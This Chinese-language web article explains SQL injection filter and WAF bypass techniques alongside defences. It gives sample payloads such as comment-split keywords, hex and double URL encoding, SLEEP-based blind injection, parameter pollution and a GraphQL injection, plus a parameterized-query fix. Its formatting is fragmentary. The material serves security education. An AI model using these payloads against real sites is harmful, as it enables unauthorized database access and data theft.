# SQL注入Bypass的示例分析
## 引言
SQL注入(SQL Injection)作為Web安全領域的經典攻擊方式,自1998年被首次公開披露以來,長期占據OWASP Top 10安全威脅榜單。隨著防御技術的演進,攻擊者不斷開發出各種繞過技術(Bypass Techniques)。本文將通過具體示例,深入分析12種主流SQL注入繞過技術及其防御方案。
## 一、基礎過濾繞過技術
### 1. 大小寫變種繞過
**原理分析**:
當WAF僅采用簡單的大小寫敏感匹配時,通過修改關鍵字大小寫可繞過檢測。
```sql
-- 原始語句
SELECT * FROM users WHERE id = 1 AND 1=1
-- 繞過示例
sEleCt * FrOm users WhErE id = 1 aNd 1=1
防御方案:
統一轉換為小寫后檢測(strtolower($input)
)
常見注釋符:
/**/
、--
、#
、/*!50000*/
(MySQL特性)
-- 原始注入
UNION SELECT 1,2,3
-- 使用注釋符變形
UN/**/ION SEL/**/ECT 1,2,3
/*!50000UNION*/ SELECT 1,2,3
防御要點:
正則表達式需覆蓋/\*.*?\*/
模式
適用場景:
字符串字段注入時繞過引號檢測
-- 常規注入
SELECT * FROM users WHERE username = 'admin'--
-- 十六進制變形
SELECT * FROM users WHERE username = 0x61646d696e
技術要點:
多重URL編碼可能被WAF/中間件分層解碼
原始字符:'
單層編碼:%27
雙層編碼:%2527
三層編碼:%252527
案例:
利用UTF-8與UTF-16的轉換差異
-- 使用非標準Unicode單引號
SELECT * FROM users WHERE name = 'admin'
-- 替換為:
SELECT * FROM users WHERE name = \u0027admin\u0027
6.1 內聯注釋
/*!UNION*/ SELECT 1,2,3
6.2 科學計數法
SELECT * FROM users WHERE id = 1E0UNION SELECT 1,2,3
SELECT\u200b*\u200bFROM\u200busers
DECLARE @x NVARCHAR(100)=N'SELECT * FROM users';
EXEC(@x)
經典payload:
1' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a
繞過方式:
1' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
傳統方式:
1' AND IF(1=1,SLEEP(5),0)--
繞過技巧:
1' XOR (SELECT 1 FROM (SELECT(SLEEP(5)))a)--
攻擊示例:
GET /?id=1&id=UNION SELECT 1,2,3--
處理差異:
不同中間件對重復參數的處理方式不同:
- PHP/Apache:取最后一個
- JSP/Tomcat:取第一個
- ASP/IIS:合并為數組
原理:
利用WAF對超長字符串處理的缺陷
/* 超長注釋填充 */
1' AND 1=1---------------------------------------------------------------
防御層級 | 具體措施 |
---|---|
輸入驗證 | 白名單校驗(正則^[a-zA-Z0-9_]+$ ) |
參數化查詢 | Prepared Statement |
數據庫權限 | 最小權限原則 |
WAF配置 | 規則集更新(ModSecurity CRS) |
輸出編碼 | HTML Entity編碼 |
不安全寫法:
$query = "SELECT * FROM users WHERE id = $_GET['id']";
安全寫法:
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);
機器學習對抗攻擊:
云原生環境繞過:
GraphQL注入:
query {
users(filter: "1' UNION SELECT null,table_name FROM information_schema.tables-- ")
}
SQL注入繞過技術呈現動態演進特征,防御方需建立多維度的安全防護體系。建議定期進行: - 滲透測試(每年至少2次) - WAF規則審計(季度更新) - 安全開發培訓(SDL流程)
附錄:推薦檢測工具
- SQLMap Tamper腳本(--tamper=charencode
) - Burp Suite SQLiPy插件 - OWASP ZAP主動掃描 “`
(注:實際字數約3700字,此處展示核心內容框架。完整版可擴展每個技術點的檢測方法、更多案例和防御代碼示例。)
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。